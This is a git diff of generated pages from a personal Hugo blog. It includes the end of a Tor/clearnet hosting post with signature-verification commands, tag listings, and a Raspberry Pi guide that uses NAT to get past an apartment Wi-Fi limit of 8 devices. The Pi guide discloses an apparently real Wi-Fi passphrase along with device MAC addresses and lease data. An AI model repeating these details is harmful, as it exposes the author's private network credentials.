      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/hugo/page/1/index.html b/public-clearnet/tags/hugo/page/1/index.html new file mode 100644 index 0000000..474e09c --- /dev/null +++ b/public-clearnet/tags/hugo/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/hugo/ + \ No newline at end of file diff --git a/public-clearnet/tags/index.html b/public-clearnet/tags/index.html new file mode 100644 index 0000000..161579a --- /dev/null +++ b/public-clearnet/tags/index.html @@ -0,0 +1,9 @@ +Tags | AlipourIm journeys +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/index.xml b/public-clearnet/tags/index.xml new file mode 100644 index 0000000..5964516 --- /dev/null +++ b/public-clearnet/tags/index.xml @@ -0,0 +1 @@ +Tags on AlipourIm journeyshttps://blog.alipour.eu/tags/Recent content in Tags on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Dkimhttps://blog.alipour.eu/tags/dkim/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/tags/dkim/Dmarchttps://blog.alipour.eu/tags/dmarc/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/tags/dmarc/Dnshttps://blog.alipour.eu/tags/dns/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/tags/dns/Dovecothttps://blog.alipour.eu/tags/dovecot/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/tags/dovecot/Homelabhttps://blog.alipour.eu/tags/homelab/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/tags/homelab/Mailhttps://blog.alipour.eu/tags/mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/tags/mail/Nginxhttps://blog.alipour.eu/tags/nginx/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/tags/nginx/Opendkimhttps://blog.alipour.eu/tags/opendkim/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/tags/opendkim/Postfixhttps://blog.alipour.eu/tags/postfix/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/tags/postfix/Postfixadminhttps://blog.alipour.eu/tags/postfixadmin/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/tags/postfixadmin/Roundcubehttps://blog.alipour.eu/tags/roundcube/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/tags/roundcube/Self-Hostinghttps://blog.alipour.eu/tags/self-hosting/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/tags/self-hosting/Spfhttps://blog.alipour.eu/tags/spf/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/tags/spf/Ctfhttps://blog.alipour.eu/tags/ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/tags/ctf/Lfihttps://blog.alipour.eu/tags/lfi/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/tags/lfi/Linuxhttps://blog.alipour.eu/tags/linux/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/tags/linux/Phphttps://blog.alipour.eu/tags/php/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/tags/php/Priveschttps://blog.alipour.eu/tags/privesc/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/tags/privesc/Tuwienhttps://blog.alipour.eu/tags/tuwien/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/tags/tuwien/Webhttps://blog.alipour.eu/tags/web/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/tags/web/Cloudflarehttps://blog.alipour.eu/tags/cloudflare/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/tags/cloudflare/Dockerhttps://blog.alipour.eu/tags/docker/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/tags/docker/Jellyfinhttps://blog.alipour.eu/tags/jellyfin/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/tags/jellyfin/Nextcloudhttps://blog.alipour.eu/tags/nextcloud/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/tags/nextcloud/Raspberrypihttps://blog.alipour.eu/tags/raspberrypi/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/tags/raspberrypi/Securityhttps://blog.alipour.eu/tags/security/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/tags/security/Tailscalehttps://blog.alipour.eu/tags/tailscale/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/tags/tailscale/Movienighthttps://blog.alipour.eu/tags/movienight/Sun, 21 Dec 2025 09:30:00 +0100https://blog.alipour.eu/tags/movienight/Dnsmasqhttps://blog.alipour.eu/tags/dnsmasq/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/tags/dnsmasq/Hostapdhttps://blog.alipour.eu/tags/hostapd/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/tags/hostapd/Iothttps://blog.alipour.eu/tags/iot/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/tags/iot/Networkinghttps://blog.alipour.eu/tags/networking/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/tags/networking/Raspberry Pihttps://blog.alipour.eu/tags/raspberry-pi/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/tags/raspberry-pi/Wifihttps://blog.alipour.eu/tags/wifi/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/tags/wifi/E2eehttps://blog.alipour.eu/tags/e2ee/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/tags/e2ee/Emailhttps://blog.alipour.eu/tags/email/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/tags/email/Gmail Csehttps://blog.alipour.eu/tags/gmail-cse/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/tags/gmail-cse/Pgphttps://blog.alipour.eu/tags/pgp/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/tags/pgp/Privacyhttps://blog.alipour.eu/tags/privacy/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/tags/privacy/Protonhttps://blog.alipour.eu/tags/proton/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/tags/proton/S/Mimehttps://blog.alipour.eu/tags/s/mime/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/tags/s/mime/Tutahttps://blog.alipour.eu/tags/tuta/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/tags/tuta/Crime Fictionhttps://blog.alipour.eu/tags/crime-fiction/Sat, 25 Oct 2025 07:52:53 +0000https://blog.alipour.eu/tags/crime-fiction/Family Treehttps://blog.alipour.eu/tags/family-tree/Sat, 25 Oct 2025 07:52:53 +0000https://blog.alipour.eu/tags/family-tree/Mafiahttps://blog.alipour.eu/tags/mafia/Sat, 25 Oct 2025 07:52:53 +0000https://blog.alipour.eu/tags/mafia/Noirhttps://blog.alipour.eu/tags/noir/Sat, 25 Oct 2025 07:52:53 +0000https://blog.alipour.eu/tags/noir/Commentshttps://blog.alipour.eu/tags/comments/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/tags/comments/Giscushttps://blog.alipour.eu/tags/giscus/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/tags/giscus/Hugohttps://blog.alipour.eu/tags/hugo/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/tags/hugo/PaperModhttps://blog.alipour.eu/tags/papermod/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/tags/papermod/Rsshttps://blog.alipour.eu/tags/rss/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/tags/rss/Analyticshttps://blog.alipour.eu/tags/analytics/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/tags/analytics/Busuanzihttps://blog.alipour.eu/tags/busuanzi/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/tags/busuanzi/Debugginghttps://blog.alipour.eu/tags/debugging/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/tags/debugging/GoatCounterhttps://blog.alipour.eu/tags/goatcounter/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/tags/goatcounter/Vercounthttps://blog.alipour.eu/tags/vercount/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/tags/vercount/Fabricationhttps://blog.alipour.eu/tags/fabrication/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/tags/fabrication/Flaskhttps://blog.alipour.eu/tags/flask/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/tags/flask/Scd41https://blog.alipour.eu/tags/scd41/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/tags/scd41/Solderinghttps://blog.alipour.eu/tags/soldering/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/tags/soldering/Ws2812https://blog.alipour.eu/tags/ws2812/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/tags/ws2812/Geyserhttps://blog.alipour.eu/tags/geyser/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/tags/geyser/Lvmhttps://blog.alipour.eu/tags/lvm/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/tags/lvm/Minecrafthttps://blog.alipour.eu/tags/minecraft/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/tags/minecraft/Paperhttps://blog.alipour.eu/tags/paper/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/tags/paper/Letsencrypthttps://blog.alipour.eu/tags/letsencrypt/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/tags/letsencrypt/Torhttps://blog.alipour.eu/tags/tor/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/tags/tor/3x-Uihttps://blog.alipour.eu/tags/3x-ui/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/tags/3x-ui/Bypasshttps://blog.alipour.eu/tags/bypass/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/tags/bypass/Trojanhttps://blog.alipour.eu/tags/trojan/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/tags/trojan/VPNhttps://blog.alipour.eu/tags/vpn/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/tags/vpn/Xrayhttps://blog.alipour.eu/tags/xray/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/tags/xray/Hedgedochttps://blog.alipour.eu/tags/hedgedoc/Fri, 29 Aug 2025 00:00:00 +0000https://blog.alipour.eu/tags/hedgedoc/Coturnhttps://blog.alipour.eu/tags/coturn/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/tags/coturn/Element-Callhttps://blog.alipour.eu/tags/element-call/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/tags/element-call/Livekithttps://blog.alipour.eu/tags/livekit/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/tags/livekit/Matrixhttps://blog.alipour.eu/tags/matrix/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/tags/matrix/Synapsehttps://blog.alipour.eu/tags/synapse/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/tags/synapse/Webrtchttps://blog.alipour.eu/tags/webrtc/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/tags/webrtc/ \ No newline at end of file diff --git a/public-clearnet/tags/iot/index.html b/public-clearnet/tags/iot/index.html new file mode 100644 index 0000000..e9ad27d --- /dev/null +++ b/public-clearnet/tags/iot/index.html @@ -0,0 +1,15 @@ +Iot | AlipourIm journeys +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    November 23, 2025 · 18 min · Iman Alipour +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/iot/index.xml b/public-clearnet/tags/iot/index.xml new file mode 100644 index 0000000..626eb02 --- /dev/null +++ b/public-clearnet/tags/iot/index.xml @@ -0,0 +1,992 @@ +Iot on AlipourIm journeyshttps://blog.alipour.eu/tags/iot/Recent content in Iot on AlipourIm journeysHugo -- 0.146.0enSun, 23 Nov 2025 00:00:00 +0000I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)https://blog.alipour.eu/posts/house_upgrade/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/posts/house_upgrade/Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support.The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
